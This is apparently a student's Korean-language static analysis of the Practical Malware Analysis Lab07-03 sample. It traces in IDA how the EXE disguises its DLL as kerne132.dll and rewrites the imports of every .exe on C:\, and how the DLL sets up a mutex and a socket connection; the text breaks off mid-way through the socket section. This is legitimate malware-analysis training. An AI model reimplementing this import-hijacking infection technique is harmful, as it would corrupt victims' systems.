1. 분석 환경
1.1. 분석 환경
l Windows 10 l Windows XP (VMware) |
1.2. 분석 도구
정적 분석 | l PEID l OllDbg l Dependency Walker l BinText l IDA |
1.3. 분석 샘플
Practical Malware Analysis Labs - Lab07-03.exe, Lab07-03.dll |
1.4. 질문
악성 실행 파일 Lab07-03.exe와 DLL 파일 Lab07-03.dll을 실행하기 전에 획득했습니다. 이는 악성 코드가 실행될 때 파일이 변할 수 있기 때문에 중요합니다. 두 파일 모두 피해자의 기기에서 동일한 디렉토리에서 발견했습니다. 프로그램을 실행하려면 분석 기기에서도 두 파일이 동일한 디렉토리에 있는지 확인해야 합니다. 127로 시작하는 IP 문자열(루프백 주소)이 로컬 머신에 연결됩니다. (실제 이 악성코드의 경우 이 주소는 원격 머신에 연결되지만 보호를 위해 localhost에 연결되도록 설정되어 있습니다.)
경고 : 이 랩은 컴퓨터에 상당한 피해를 줄 수 있으며 한 번 설치되면 제거하기 어렵습니다. 실행 전에 스냅샷이 찍힌 가상 머신 없이는 이 파일을 실행하지 마십시오.
이 랩은 이전 것들보다 조금 더 도전적일 수 있습니다. 정적(static) 및 동적(dynamic) 방법을 결합하고 세부사항에 방해받지 않도록 큰 그림에 중점을 두어야 할 것입니다.
- 이 프로그램은 컴퓨터가 재부팅 될 때 계속해서 실행되도록 영속성을 어떻게 유지하는지에 대한 메커니즘은 무엇인가요?
- 이 악성코드에 대한 두 가지 좋은 호스트 기반 시그니처는 무엇인가요?
- 이 프로그램의 목적은 무엇인가요?
- 이 악성코드를 설치한 후에는 어떻게 제거할 수 있을까요?
2. 기초정적분석
2.1. PIED
.exe .dll 두 파일모두 패킹 되어있지 않다.
2.2. Import
Lab07-03.exe
CopyfileA, CreateFileA로 보아 파일을 복사하거나 생성할것으로 추측된다.
CreateFileMappingA 파일을 메모리에 매핑할 때 사용되며 대용량 파일을 처리할 때 효울적으로 파일을 읽거나 쓸 수있다.
FindFirstFileA FindNextFileA 파일을 처음부터 하나씩 찾을 때 사용한다.
주로 파일의 처리에 관한 함수들이 import되어있다.
Lab07-03.dll
CreateMutexA, OpenMutexA 뮤텍스를 생성하거나 연다.
CreateProcessA로 프로세스를 생성한다.
Sleep함수는 프로그램을 실행 대기 상태로 만들 때 사용된다.
2.3. Strings
Lab07-03.exe
Kernel32.dll
파일에 접근할 것으로 추측된다. Kernel132.dll이라는 유사한 이름이 있는 것으로 보아 악성코드를 이 이름의 파일로 위장할 것으로 추측된다. WARNING_THIS_WILL_DESTROY_YOUR -_MACHINE 문자열은 Lab01-01실습때 본 것인데, 이 문자열을 인수로 넘기지 않으면 프로그램이 어떤 행위를 하지 않고 바로 종료되었다.
Lab07-03.dll
Hello, 127.26.152.13, WS2_32.dll 로 보아 네트워크 연결이 있을 것이며 해당 IP와 어떤 통신이 있을 것으로 추측된다.
SADFHUHF라는 문자열은 dll에서 createmutexA함수가 import된 것을 확인했으므로 생성되는 뮤텍스의 이름이 될 수도 있다.
3. Lab07-03.exe 심화정적분석
3.1. 인수의 개수 비교
1. mov eax, [esp+argc]에서 argc는 명령 줄 인수의 개수를 나타낸다.
cmd에서 프로그램을 파일을 실행시킬 경우 파일의 이름인 “Lab07-03.exe” 또한 인수로 취급한다.그러므로 기본적으로 아무 인자 값 전달없이 실행했을 때 인수의 개수는 1이다.
2. Cmp eax, 2 : 인수의 개수가 2개인지 비교한다.
3. Jnz loc_401813 : 0이 아니라면, (= 인수의 개수가 2개가 아니라면) 점프한다.
점프하면 바로 함수는 종료된다.
즉 Lab07-03을 실행했을 때 넘겨준 인수가 (파일이름제외)한 개가 아니라면, 함수는 바로 종료된다.
인수가 한 개 라면, 다음 명령으로 넘어간다.
3.2. 인수의 값 비교
1. Eax, [esp+54h+argv] : argv는 명령 줄 인수 값을 저장하는 배열이다. Eax에 이 값을 저장한다.
2. Mov esi, offset aWarningThiswil ; “WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”
Esi에 이 값을 저장한다.
Eax, esi 값을 각각 dl, bl 레지스터에 복사하여 비교한다. 같다면 다음 명령을 실행하고, 같지 않다면 loc_401488로 점프한다.
" WARNING_THIS_WILL_DESTROY_YOUR_MACHINE "와 인수 값이 같은 지 비교하여 분기한다
l 인수 값이 “WARNING_THIS_WILL_DESTROY_YOUR_MACHINE”이 아닐 때
1. Sbb eax,eax / sbb eax, 0FFFFFFFFh : eax와 eax 빼기연산을 한다. 값은 무조건 0이된다. 그 다음 eax에 0FFFFFFFFh(=1) 값을 뺀다. 결과는 1이다.
2. Test eax, eax / jnz loc_401813 : 1을 and 연산하므로 결과는 1이다. 그러므로 loc_401813으로 점프한다.
Loc_401813로 점프하면 스택을 해제하고 함수가 종료된다.
è 전달하는 인수가 있으나 WARNING_THIS_WILL_DESTROY_YOUR_MACHINE 문자열이 아닐 때 함수를 종료시키는 역할을 한다.
3.3. 시스템 파일로 위장
l 인수 값이 “WARNING_THIS_WILL_DESTROY_YOUR_MACHINE” 일 때
createfileA함수를 사용해 C:\Windows\System32\Kernel32.dll 파일의 핸들을 가져와 CreateFileMappingA, 메모리에 매핑하고 MapViewOfFile로 이 매핑한 객체를 가상주소 공간에 매핑한다.
Lab07-03.dll로도 메모리에 매핑하는 등 같은 행위를 한다.
1. CloseHandle : 파일을 매핑하기 위해 얻었던 핸들을 다시 반환한다.
2. push offset NewFileName ; "C:\\windows\\system32\\kerne132.dll" : kerne132.dll을 새 파일이름으로 인자값을 전달한다.
3. push offset ExistingFileName : "Lab07-03.dll" : Lab07-03.dll 복사할 파일의 이름이다.
4. call ds:CopyFileA : Lab07-03.dll 를 복사하여 kerne132.dll로 위장한다.
5. Test eax, eax : copyfileA함수가 호출되면 반환 값으로 실패할 경우 0을 반환하는데 이를 테스트해 실패하면 다음 코드를, 성공했으면 loc_401806으로 점프한다.
èLab07-03.dll을 kerne132.dll로 위장한다.
3.4. C드라이브 내 모든 파일 탐색
Loc_401806으로 점프해서는 “C:\\*”를 push한다. “*”는 와일드카드 문자로 ‘전부를 포함할 때’ 사용한다. 즉 C: \\*은 C드라이브 아래의 모든 파일을 의미한다.
인자를 전달한 다음 sub_4011E0를 호출한다.
Sub_4010E0은 코드가 상당히 복잡했는데, 파일을 검사하는 행위를 하고 그 결과값에 따라 다른 명령을 수행하는 모습을 보였다.
C:\\* 값은 lpFileName에 저장된다. FindFirstFileA에 인자 값으로 lpFil
eName을 전달하여 결국 C드라이브 전체를 검색하게 된다.
IpFindFileData는 파일 검색에 관련된 정보를 포함하는 데이터 구조체이다.
IpFindFileData 를 이용하여 몇 가지 파일의 속성검사를 한다.
1. dwFileAttributes 의 값이 10h(=16)인지
2. cFileName(=파일이름) 의 값이 “.” 인지 검사한다.
3. cFileName(=파일이름) 의 값이 “..”인지 검사한다.
dwFileAttributes 은 파일시스템의 속성 정보를 나타낸다.
여기서 16이 의미하는 값은 디렉터리. 즉 이 파일이 디렉터리인가를 검사한다.
“.”과 “..”은 디렉터리를 나타낸다. “.”는 현재 디렉토리 , “..”은 상위 디렉토리를 의미한다.
위 명령을 조건문으로 나타내면 다음과 같다.
(indFileData.dwFileAttributes & 0x10) == 0 è 디렉토리라면 0
!strcmp(FindFileData.cFileName, asc_403040) è 파일이름이 asc_403040(=”.”) 이라면 1
!strcmp(FindFileData.cFileName, asc_40303C) è 파일이름이 asc_403040(=”..”) 이라면 1
ð 하위 디렉토리라면 Else문을 실행하고, 현재 디렉토리, 상위 디렉토리, 파일이라면 If블록을 실행한다.
l 하위 디렉토리 일 경우
Strcat(v5, FindFileData.cFileName); : 현재 디렉토리에 새 하위 디렉토리 이름을 붙인다.
Strcat(v5, asc_403038); 그 붙인 이름에 asc_403038 (=\*)를 붙인다.
(현재 디렉토리\새 하위 디렉토리\*)를 인자 값으로 넣어 sub_4011E0을, 즉 자신을 호출한다.
이것은 재귀함수이다.
※ ( \\* 가 아니라 왜 \* 일까? )
아이다 그래프를 보면 문자열표시는 “\\*”라 나와있다. 그러나 실제로 들어가는 값은“\*”이다. 왜 이렇게 되는 걸까? 그 이유는 \ 문자가 이스케이프 문자이기 때문이다. \ 역 슬래시는 이스케이프 문자로 이 다음이 특수문자인 것을 나타낸다. 그러므로 실제로 실행 시 문자열로 취급되지 않는다. 즉 \\* \*로 입력된다. |
Lab07-03에서 재귀함수에 대한 추가설명
탐색과정에서 하위 디렉토리로 진입할 때 재귀호출이 일어난다. 재귀호출로 하위 디렉토리의 파일을 모두 탐색하고 나면, 더 이상 탐색할 파일이 없으므로 FindClose로 핸들을 반환하게 된다. 그럼 다시 원래 호출했던 그 상위 디렉토리로 돌아가 다음 파일을 탐색한다. 그림으로 예를 들자면, 1 디렉토리에 하위 디렉토리인 2,3 이 있을 때 2로 진입하여 모든 파일을 탐색한 뒤 핸들을 반환하면 다시 1의 핸들로 다음 파일을 탐색한다. 여기서 다음파일은 3디렉토리이다. 3디렉토리에 진입하면 3의 핸들로 파일을 탐색하게 된다. 재귀호출이 반환되면 호출된 부분 다음부터 코드가 실행된다. (물론 if문이나 while문 규칙에 맞춰서) |
l 파일이거나 현재,상위 디렉토리일 경우
if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) ) : 파일의 확장자가 .exe인지 비교한다.
이 FindFileData.dwReserved0 + v6 + 3의 의미는 다음과 같다.
1. dwReserved0, dwReserved1 필드는 나중에 사용되기 위해 예약된 필드이다. 이 필드의 위치는 cFileName에서 4바이트씩 떨어진 곳에 있다.
2. V6 = strlen(FindFileData.cFileName) + 1; : 파일이름의 길이에 + 1 을 한 값이다.
3. +3 = 3을 더한다.
즉 dwREserved0인 24의 위치에 4를 더하고 파일 길이를 더하면, 확장자 부분만 남게 된다.
3.5. NT header확인 - PE파일인가?
파일의 확장자가 .exe라면 파일이름을 인자 값으로 넣어 sub_4010A0을 호출한다.
파일핸들을 얻어 메모리에 매핑한다.
MapViewOfFile함수 실행 후 파일이 매핑 된 뷰의 시작 주소를 반환한다. (eax)
(매핑 된 뷰란 파일이나 기타 개체의 일부를 메모리에 매핑하여 파일의 내용을 직접 메모리에서 읽고 쓸 수 있는 메커니즘을 의미한다. PEView에서는 “ImageBase” 값이 매핑 된 뷰의 시작주소이다. |
image Base는 00400000이다. 그러므로 esi주소는 00400000이여야 맞지만, 매핑 주소는 프로그램이 실행될 때 사용되므로 정적 분석을 하는 현재는 편의를 위해 00000000를 시작주소로 사용한다.
Mov esi, eax : 00000000을 esi에 저장한다.
Mov ebp, [esi+3ch] : esi값에 3c를 더하여 그 주소가 가리키는 값을 ebp에 저장한다.
PeView로 보자
Esi값은 00000000 이므로 esi + 3ch = 0000003c가 된다.
Lab07-02에서 실습했던 것처럼 어셈블리의 대괄호”[]”는 대괄호안의 주소가 가리키는 값을 가져온다. 그러므로 [esi+3ch] 의 값은0000003C가 가리키는 값인 “E8”. ebp에는 E8이 저장된다.
IsBadReadPtr : 메모리블록에 읽기 권한이 있는지 확인한다. 읽기 권한인 있는 경우 반환 값은 ‘0’이다.
Ip :메모리블록 첫번째 바이트의 포인터이다.
Ucb : 메모리 블록의 크기이다.
Add ebp ,esi : ebp의 값 (E8) 과 esi의 값 00000000이 더해 000000E8이 저장된다.
Push 4 : 4바이트를 인자 값으로 전달한다.
Push ebp : 000000E8을 인자 값으로 전달한다.
-> 000000E8부터 4바이트 크기의 메모리 블록에 읽기 권한이 있는지 확인한다.
IsBadReadPtr 을 호출하면 이 E8위치부터 4바이트 문자열을 4550h와 같은 지 비교한다.
4550h를 문자열로 변환했을 때 결과는 ‘EP’ 인데, HEX값은 역순이므로 결국 이 값은 ‘PE’이다.
정리하자면, 이과정은 IsBadReadPtr 함수를 사용하여 파일의 NT header를 검사해 PE(포터블 실행파일)인지 확인하는 것이다.
3.6. Sub_401040 호출
‘Pe’가 맞다면 다음 코드를 실행한다.
Mov ecx, [ebp+ 80h]
: ebp가 가리키는 값 E8에 80h(16진수)를 더한 값은 168이다. 이 168이 가리키는 값을 ecx에 복사한다.
맥락상 이 주소 또한 어떤 Pe파일의 한 부분인 것 같은데, PEview로 다시 확인해보았다.
RVA (Relative Virtual Address)는 가상 메모리 주소에 대한 상대적인 오프셋을 나타낸다.
168은 IMPORT Table의 시작주소임을 알 수 있었다. 그리고 그 값인 207C가 ecx에 들어갈 값이다.
이제 인자 값이 다 모였으니 sub_401040을 호출할 차례이다.
Esi=00000000(파일의 시작주소) / ebp = E8(NT header 시작주소) / ecx=207C(IMPORT Table RVA값)를 인자 값으로 넣어 sub_401040을 호출한다.
arg_0= dword ptr 4 = ecx= 207C(IMPORT Table RVA값)
arg_4= dword ptr 8 = ebp = E8(NT header 시작주소)
arg_8= dword ptr 0Ch = Esi=파일의 시작주소 00000000
(넣은 순서의 역순대로 전달받은 인자를 변수에 저장)
sub_401040가 호출되고 다시한번 함수를 호출한다.
1. mov eax, [esp+arg_4] : E8(NT header 시작주소)을 eax에 복사한다.
변수 + esp 가 그 변수의 주소 값을 가리키는 이유 = 결국 그 변수의 값을 가져오는 이유
2. push esi : 현재 esi값을 백업할 목적으로 push한다.
3. mov esi, [esp+4+arg_0] : 207C(IMPORT Table RVA값)를 esi에 복사한다.
4. push eax : 인자 값(E8)을 전달한다.
5. push esi : 인자 값을(207C) 전달한다.
6. call sub_401000 : 호출한다.
3.7. Sub_401000 호출
arg_0= dword ptr 4 = ecx= 207C(IMPORT Table RVA값)
arg_4= dword ptr 8 = ebp = E8(NT header 시작주소)
1. mov edx, [esp+arg_4] : E8값을 edx로 mov 한다.
2. xor eax, eax / xor ecx, ecx : eax, ecx값을 0으로 만든다.
3. push ebx : ebx를 push 한다.
4. mov ax, [edx+14h] : E8 + 14h =FC가 가리키는 내용을 ax에 mov 한다.
AX 와 EAX는 같은 것이다. Eax는 expand ax의 줄임말로 32비트 크기의 레지스터이다. Ax는 eax에서 하위 16비트 부분을 나타낸다. 이러한 표기의 이유는 과거 16비트 레지스터만으로 충분했지만 cpu의 발전에 따라 32비트의 레지스터가 필요해졌기 때문이다. 현재 64비트 CPU에서는 EAX보다 더 확장된 64비트의 RAX를 사용하고 있다. |
그러므로 ax = E0 (Eax = E0)
FC위치는 Size of Optional Header을 가리킨다.
5. mov cx, [edx+6] : E8 + 6 한 위치(=EE)의 내용을 cx에 mov 한다.
CX = 03 (ecx = 03)
EE의 위치는 Number of sections = 섹션의 개수를 가리킨다.
6. push esi / xor esi, esi : esi를 백업하고 esi를 0으로 만든다.
7. test ecx, ecx : ecx 를 test 한다. Ecx는현재 0이 아니므로 ZF는 세팅 되지 않는다.
8. push edi : edi push
9. lea eax, [eax+edx+18h] : E0+ E8 + 18h =1E0을 eax에 저장한다.
1E0은 첫번째 섹션 헤더의 시작점이다.
Lea명령은 대괄호안의 ‘주소’ 를 가져온다. mov명령이 대괄호안의 주소가 가리키는 ‘값’을 가져오는 것과 반대이다. |
10. jle short loc_401039 : jle 명령어는 ZF(Zero Flag)가 설정되어 있거나 cmp 명령의 결과로 왼쪽이 오른쪽 보다 작을 때 점프한다. ZF가 세팅 되어있지 않으므로 점프하지 않는다.
점프하지 않았을 경우 =
mov edi, [esp+0Ch+arg_0] : 207C(IMPORT Table RVA값)을 edi에 저장한다.
1. mov edx, [eax+0Ch] : eax(=1E0) + 0c = 1EC이 가리키는 값 1000을 edx에 저장한다.
2. cmp edi, edx : 207C 와 1000을 비교한다. Edi가 더 크다.
3. jb short loc_401031 : cmp a,b에서 a가 작거나 같으면 점프한다 a인 edi가 더 크므로 점프하지 않고 다음 코드를 실행한다.
1. mov ebx, [eax+8] : 1e0 + 8 =1e8이 가리키는 값인 970을 ebx에 저장
2. add ebx, edx : 970(ebx) +1000(edx) =1970를 ebx에 저장한다.
3. cmp edi, ebx : 207C와 1970 비교
4. jb short loc_40103B : 작으면 loc_40103B로 점프 => 작지 않으므로 점프하지 않는다.
1. Inc esi : esi에 1을 더한다. Esi는 xor esi esi로 0이였으므로 1이된다.
2. Add eax, 28h : eax = 1E0에 28h를 더한다. = 208
208은 두번째 섹션 헤더의 시작점이다.
3. Cmp esi, ecx : esi(=1) 와 ecx(=3) 을 비교한다.
-> 몇 번째 섹션을 비교 중 인지 체크한다.
4. Jl shot loc_401021 : cmp에서 a가 작으면 loc_401021으로 점프한다. 여기서는 반복을 수행한다.
반복문
loc_401021:
1. mov edx, [eax+0Ch] : 208 +0c =214가 가리키는 값 2000을 edx에 저장
Rva는 실행파일 내에서 주소를 나타내는 상대적인 값이다.
2. cmp edi, edx : (edi =207c) 와 2000비교
3. jb short loc_401031 : 왼쪽이 더 크므로 점프하지 않음
1. mov ebx, [eax+8] : 208 + 8 = 210 210이 가리키는 값 2B2를 ebx에 저장
2. add ebx, edx : ebx : 2B2 + 2000 = 22b2
3. cmp edi, ebx : 207c 와 22b2을 비교 왼쪽이 작으므로 점프
4. pop 한 다음 end
3.8. sub_401040 로 리턴
1. mov ecx, eax : eax값인 208을 ecx에저장
2. add esp, 8
3. test ecx, ecx : ecx는 0이 아님
4. jnz short loc_401089 : loc_401089로 점프
loc_40105B:
1. mov eax, [ecx+14h] : eax에 208 + 14h = 21c가 가리키는 값 2000삽입
2. mov edx, [ecx+0Ch] : eax에 208+ 0c = 214가 가리키는 값 2000삽입
3. mov ecx, [esp+arg_8] : arg_8은 시작주소 = ecx는 0
4. sub eax, edx : 2000-2000 = 0
5. add eax, esi : esi값은 ‘mov esi, [esp+4+arg_0]’ è arg_0값인 207C
6. pop esi : esi를 pop
7. add eax, ecx : 207C + 0 = 207C
8. Retn 207C가 반환된다.
9. sub_401040 endp
3.9. sub_4010A0로 리턴, import 이름 비교
1. mov ebx, eax : 207c
2. push 14h
3. push ebx
4. call ds:IsBadReadPtr
5. test eax, eax
-> 207C 부터 14h 크기의 데이터 블록에 읽기 권한이 있는지 확인하며, 있으면 0을 리턴 한다.
14h = 20바이트는 각 import들의 IID 구조체 크기이다. 즉 임포트에 대한 정보를 읽을 필요하 있다는 의미이다.
6. jnz short loc_4011D5 : 읽기 권한이 있으므로 반환 값은 0 이 되어 test eax, eax 결과값이 0 이므로 점프하지 않는다.
1. add edi, 0Ch : 207C + 0c = 2088을 edi에 저장한다.
★ 2088이 가리키는 값은 바로 import의 이름이다.
loc_401142:
1. mov eax, [edi-8] : [edi-8] 2080이 가리키는 값을 eax에 저장한다. -00000000을 eax에 저장
2. mov [esp+1Ch+lpFileName], edi : 2088을 IpFileName 변수에 저장한다.
3. test eax, eax : 결과는 0이므로
4. jnz short loc_401152 : 0이므로 점프하지 않는다.
1. cmp dword ptr [edi], 0 : edi(2088) 가 가리키는 값(=21C2)과 0을 비교한다. 같지 않다.
2. jz short loc_4011AC : 같지 않으므로 점프하지 않는다.
loc_401152:
1. mov edx, [edi] : edi 값인 (=21C2)를 edx에 저장한다.
2. push esi : 00000000
3. push ebp : E8
4. push edx : 21C2
5. call sub_401040 다시한번 sub_401040을 호출!
반환 값은 21C2이다.
6. add esp, 0Ch
7. mov ebx, eax : eax값 21C2를 ebx에 저장한다.
8. push 14h ; ucb
9. push ebx ; lp
10. call ds:IsBadReadPtr
// 21C2 부터 14h만큼 읽기 권한이 있는지 확인하며 권한이 있을 경우 반환 값은 0 이다.
11. test eax, eax : eax = 0 므로 test 결과도 0
12. jnz short loc_4011D5
"kernel32.dll" string과 ebx(21C2)를 stricmp 함수를 호출하여 비교한다.
21C2의 hex값은 다음을 가리킨다 “KERNEL32.dll”
Stricmp 함수는 비교해서 같을 경우 0을 반환한다.
같으므로 반환 값 eax는 0이며, Test eax, eax 결과 또한 0 이다.
jnz short loc_4011A7 비교 여부에 따라서 점프한다. 여기서 만약 같지 않았을 경우,
short loc_4011A7 로 점프한다.
Edi (=21C2)에 20바이트를 추가하여 다음 import 이름을 가져와 비교한다. (= For문)
3.10. Import의 이름이 “kernel32.dll” 일 경우
점프하지 않고 다음 명령을 실행한다.
1. mov edi, ebx : edi 에 21C2 값을 저장한다.
2. or ecx, 0FFFFFFFFh : 0FFFFFFFFh와 or연산을 한다. Ecx의 모든 비트가 활성화된다. Ecx= 0xFFFFFFFF
3. ★repne scasb : edi(kernel32.dll)와 eax를 비교한다.
4. ★not ecx : ecx의 비트를 반전시킨다. Ecx 값은 edi가 가리키는 문자열의 길이가 된다.
★repne는 ‘같지 않으면 반복한다’ 는 의미이며 scasb 는 byte씩 비교한다는 의미이다. 이 명령어는 edi가 가리키는 메모리 위치의 문자열과 al, ax, eax 값을 비교하여, 같을 때까지 ( 또는 ecx가 0이 될 때까지) 한 바이트씩 비교를 반복한다. 그렇게 해서 같지 않으면 ecx 값을 -1 한다. 그렇다면 이 명령이 어떻게 문자열의 길이를 반환할까? _stricmp의 반환 값으로 현재 eax의 값은 0 이다. 0xFFFFFFFF 값은 부호가 있는 2의 보수형식으로 표현하면 ecx = - 1이다. Eax = 0 과 kernel32.dll 문자열(12)을 처음 부터 비교하면 같지 않으므로 한 바이트씩 비교할 때마다 ecx값은 -1 씩 줄어든다. 계속 반복하며 비교하다 kernel32.dll문자열의 끝을 나타내는 널 문자 ”\0”를 만나게 된다. 이제야 eax = 0 값과 같은 값을 만났으므로 repne는 종료된다. 이때 ecx값은 -14가되는데, 이를 not ecx 명령어로 비트를 반전시키면 13 이 된다. 그러므로 (kernel32.dll 의 길이 + 널 문자)인 13을 가져올 수 있게 된다. IDA 디컴파일로 보았을 때 더 확실 해진다. Repne scasb 명령이 strlen() 로 표시되는데, strlen 은 널문자를 제외한 순수 문자열 길이만을 반환하므로 +1 이 추가된 것을 알 수 있다. repne scasb 에 관한 상세한설명은 인텔 개발자 매뉴얼 7.3.9.1 을 참조한다. https://www.intel.co.kr/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-1-manual.pdf |
5. mov eax, ecx : eax에 ecx값(=13)을 저장한다.
6. mov esi, offset dword_403010 : esi에 dword_403010 값을 저장한다.
dword값이 무엇인지는 더블클릭 한 뒤 data에 커서를 대고 “a”를 누르면 string으로 변환할 수 있다. ‘kerne132.dll’ 이다.
7. mov edi, ebx : ebx(=21C2)를 edi에 저장한다.
8. shr ecx, 2 : Ecx를 오른쪽으로 두 번 쉬프트 한다. ecx는 현재 13(=1101) 이므로 3(=0011)이 된다.
shr명령어는 b만큼 a를 오른쪽 쉬프트 하라는 의미이다. |
9. ★rep movsd : esi가 가리키는 값을 edi가 가리키는 위치에 더블 워드(= 4바이트) 만큼 복사한다.
ð Kerne132.dll 을 edi (kernel32.dll 이 있던 위치) 위치에 복사한다. 즉 kernel32.dll을 kene132.dll로 덮어 씌운다.
Rep movsd 또한 ecx 값만큼 반복하여 문자열을 복사한다. Shr 명령에 의해 ecx는 3, rep movsd 명령어는 dword 단위로복사 하므로 3 * 4 = 12 12 바이트만큼 복사하겠다는 의미이다. |
10. mov ecx, eax : 13를 ecx에 저장한다.
11. and ecx, 3 : 1101 과 0011을 and연산한다. 결과는 ecx = 1 이 된다.
12. rep movsb :
ecx 가 0 이 될 때까지 byte씩 복사한다. 현재 ecx = 1 이므로 이 명령어는 한번 실행된다.
13. mov esi, [esp+1Ch+var_C] : MapViewOfFile의 반환 값인 매핑 된 뷰의 시작주소를 esi에 저장한다.
14. mov edi, [esp+1Ch+lpFileName] : 2088을 edi에 저장한다.
loc_4011A7:
1. add edi, 14h
2. jmp short loc_401142
edi에 14h를 더하면 209C = 다음 import 이름값이 나온다.
이는 Name RVA에 20바이트씩 더하여 모든 import 이름을 비교하기 위함이다.
마지막 import name을 비교한 뒤 edi에 20바이트를 더하면 edi 가 가리키는 주소의 값은 00000000이 된다. 이것이 탈출 조건이 된다.
cmp dword ptr [edi], 0 : [edi]를 0 과 비교해서 반복문에서 탈출하게 된다.
반복문에서 탈출하면 핸들을 닫고 반환된다.
Sub_4010A0 endp 이후 반환된 곳에서는 다시 다음 .exe 파일을 찾아 지금까지 기술했던 내용을 반복한다.
최종적으로 Lab07-03.exe는
C:\ 내의 모든 exe 파일이 kernel32.dll 대신 kerne132.dll을 import 하도록 변조한다.
3.11. Lab07-03.exe 정리
1. 프로그램 실행 시 인자 값으로 "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"문자열을 전달하지 않는다면, 프로그램을 종료한다.
2. Lab07-03.dll을 kerne132.dll로 위장한다.
3. 재귀함수로 C드라이브 내의 모든 파일을 탐색하여 .exe 파일을 찾아낸다
4. 찾아낸 .exe파일의 import 이름 값을 가져와 ‘kernel32.dll’과 같은 지 비교한다.
5. 같다면 kernel32.dll 대신 kerne132.dll를 import 하도록 변조한다.
6. C:\ 내의 모든 exe파일이 변조된다.
7.
Lab07-03을 실습하기 전 실행에 대한 많은 경고가 있었던 이유는 바로 이 악성코드가 모든 파일을 변조시켜 심각한 피해를 일으키기 때문이었다.
만약 악성코드 실행 후 원상복귀를 위해 IDA로 kernel32.dll을 kerne132.dll로 바꾸었던 부분을 반대로 kerne132.dll을 kernel32.dll로 바꾸도록 Lab07-03.exe를 수정한다면 원래대로 돌아올지 궁금증이 생겼다.
4. Lab07-03.dll 심화정적분석
4.1. 스택에 메모리 할당 및 fdwReason 값 비교
분석하기전 가볍게 훑어보았는데 뮤텍스 생성과 특정 Ip로 소켓통신을 하는 것이 보였다.
1. mov eax, 11F8h : eax에 11F8을 저장한다.
2. call __alloca_probe : 스택에 11F8크기의 메모리 블록을 할당한다.
_alloca_probe는 alloca에 더하여 추가적으로 스택오버플로우를 방지하기 위한 보안검사를 수행한다. _alloca_probe 는 기존함수와 다르게 push로 인자를 전달하지 않았다. |
3. mov eax, [esp+11F8h+fdwReason] : fdwReason 의 값을 eax에 저장한다
DllMain은 DLL이 로드되거나 언로드될 때 시스템에서 호출된다 이때 호출되면서 파라미터로 전달되는 값이 fdwReason인데, 호출된 이벤트의 종류를 상수로 표현한다. DLL_PROCESS_ATTACH (1) : Dll이 로드 될 때의 값이다. DLL_PROCESS_DETACH (0) : Dll이 언로드 될 때의 값이다. |
-> 현재 dll은 로드 되고 있으므로 eax에 1이 세팅 된다.
4. push ebx : / push ebp : / push esi : 각각을 백업한다.
5. cmp eax, 1 : eax 와 1을 비교한다. 같으므로 cmp결과는 0
6. push edi : edi를 백업한다.
7. jnz loc_100011E8 : eax가 0이 아니라면 점프한다.
4.2. 버퍼 초기화, 뮤텍스 생성 그리고 winsock 라이브러리 초기화
현재 cmp의 결과로 ZF가 세팅 되어있으므로 점프하지 않고 다음 명령을 실행한다.
buf와 var_fff에 0을 넣어 버퍼를 초기화 시킨다.
rep stosd : ecx 레지스터가 가리키는 횟수만큼 eax 값을 edi가 가리키는 메모리 위치에 반복적으로 저장한다. 현재 eax는 xor연산으로 0으로 세팅 되어있으므로 0으로 초기화 시키려는 목적이다. stosw: eax 레지스터의 하위 16비트 값을 edi가 가리키는 메모리 위치에 저장한다. 여기서는 edi가 가리키는 영역에 16비트 0이 저장된다. |
이전 실습에 보았던 것과 같다. 특정 이름의 뮤텍스를 열어 그 뮤텍스가 존재하는지 확인 후, 없으면 생성하는 과정이다. 결과적으로 “SADFHUHF”라는 이름의 뮤텍스가 생성된다.
1. lea ecx, [esp+1208h+WSAData] : WSAData 변수의 주소를 ecx에 저장한다.
WSAData는 윈도우 소켓 초기화 정보를 저장하는 구조체를 가리키는 포인터이다. |
2. Push ecx ; lpWSAData / push 202h ; wVersionRequested : 인자 값 전달
3. call ds:WSAStartup : winsock 라이브러리를 초기화하는 함수이다. 성공하면 0을 반환한다.
4. test eax, eax : eax는 0 이므로 test결과도 0
5. jnz loc_100011E8 : 0이므로 점프하지 않는다.
-> 이 과정은 윈속라이브러리를 초기화 하는 과정이고, 이를 통해 이 악성코드는 윈도우 소켓을 사용하여 네트워크 연결을 할 것이라 추측할 수 있다.
4.3. 소켓 통신
1. call ds:socket
Lab05-01 실습으로 익숙한 값이 보인다. 이 소켓은 TCP ipv4로 세팅 되어있다.
Socket함수는 성공하면 소켓의 핸들 값을 반환한다. 소켓 생성에 실패하면 INVALID_SOCKET 라고 -1 을 반환한다.
2. mov esi, eax : 소켓함수의 반환 값을 esi에 저장한다.
3. cmp esi, 0FFFFFFFFh : 이것이 -1 인지, 즉 소켓생성에 실패했는지 비교한다.
4. jz loc_100011E2 : 소켓생성에 실패했다면 loc_100011E2 로 점프하며 함수는 종료된다.
소켓 생성에 성공했다면
1. push offset cp ; "127.26.152.13” ip주소값을 push한다.
2. mov [esp+120Ch+name.sa_family], 2 : 소켓주소가 ipv4이다.
name.sa_family는 소켓 주소 구조체(sockaddr)의 멤버 중 하나이다. 소켓 주소가 IPv4 주소인지 IPv6 주소인지 판별하거나 소켓주소를 초기화 할 때 사용된다. 여기서 2 값은 ipv4 임을 나타낸다. |
3. call ds:inet_addr : ip주소를 이진형태의 32비트의 이진형태로 변환한다. “0x7F1A980D”
4. push 50h ; hostshort : 50h의 값은 80이다. 즉 포트번호를 80으로 설정하려는 것이다.
5. mov dword ptr [esp+120Ch+name.sa_data+2], eax : 이진화 된 소켓주소를 변수에 저장.
name.sa_data 에는 포트번호와 이진형태의 소켓주소가 들어간다. sa_data[0],[1] 에는 포트번호가, sa_data[2] 부터는 소켓주소가 들어간다. sa_data는 일반적으로 14바이트이다. |
6. call ds:htons : 포트번호를 네트워크 바이트 순서(빅엔디안)로 변환해 반환한다. (2바이트)
7. lea edx, [esp+1208h+name] : name 구조체의 주소를 edx에 저장한다.
8. push 10h ; namelen / push edx ; name / push esi ; s : connect 함수 인자 값을 전달한다.
9. mov word ptr [esp+1214h+name.sa_data], ax : htons의 반환 값인 포트번호를 변수에 저장
10. call ds:connect : 해당 ip주소와 포트번호로 연결을 한다.
11. cmp eax, 0FFFFFFFFh : 실패하면 반환 값 -1 이며 cmp를 통해 connect가 실패했는지 확인한다.
12. jz loc_100011DB : 실패하지 않았으므로 점프하지 않는다.
